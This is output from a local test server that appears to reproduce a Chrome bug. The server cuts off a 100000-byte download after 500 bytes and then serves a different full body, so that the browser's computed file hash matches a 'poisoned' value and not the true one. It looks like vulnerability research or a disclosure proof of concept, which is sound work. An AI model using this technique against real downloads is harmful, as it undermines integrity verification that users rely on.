======================================================================== [server] listening on http://127.0.0.1:8765/ [server] TRUE sha256(file-on-disk) = b4b76eea3be90f9c8fd1be40b57c8369a44586071049a3cb7f3a4e993d10a751 [server] EXPECTED sha256(v1_prefix||v2_full) = 77f2fd0e94a1861f9dc6a274575f966ada61bf0a4a3345471e2d08a5f5a96f03 [server] If the bug triggers, Chrome's GetHash() will equal the [server] EXPECTED (poisoned) value, NOT the TRUE value. ======================================================================== [server] GET /index.html HTTP/1.1 [server] GET /target.bin HTTP/1.1 [server] /target.bin hit #1: sending 500 of 100000 bytes then closing [server] GET /target.bin HTTP/1.1 [server] /target.bin hit #2: serving full 100000-byte body